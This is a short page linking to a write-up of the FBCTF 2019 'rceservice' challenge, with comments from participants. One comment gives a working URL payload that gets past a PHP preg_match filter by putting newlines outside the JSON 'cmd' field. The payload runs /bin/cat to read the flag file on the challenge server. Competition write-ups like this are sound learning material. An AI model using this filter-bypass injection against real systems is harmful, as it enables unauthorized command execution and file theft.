Tags: preg_match php 

Rating: 3.7

Original writeup (https://ramadistra.dev/fbctf-2019-rceservice).
evandrixJune 3, 2019, 11:23 a.m.

do you have the exact payload? i tried to use `\r`, `\n`, `%0d`, `%0a` for newline and they all failed


0e85dc6eafJune 3, 2019, 4:51 p.m.

@evandrix
http://challenges.fbctf.com:8085/?cmd={%0A%22cmd%22%3A+%22/bin/cat+%2Fhome%2Frceservice/flag%22%0A}
This one works for me


evandrixJune 3, 2019, 7:49 p.m.

Thanks, I realised my mistake - I should be adding the newline outside of the "cmd" field value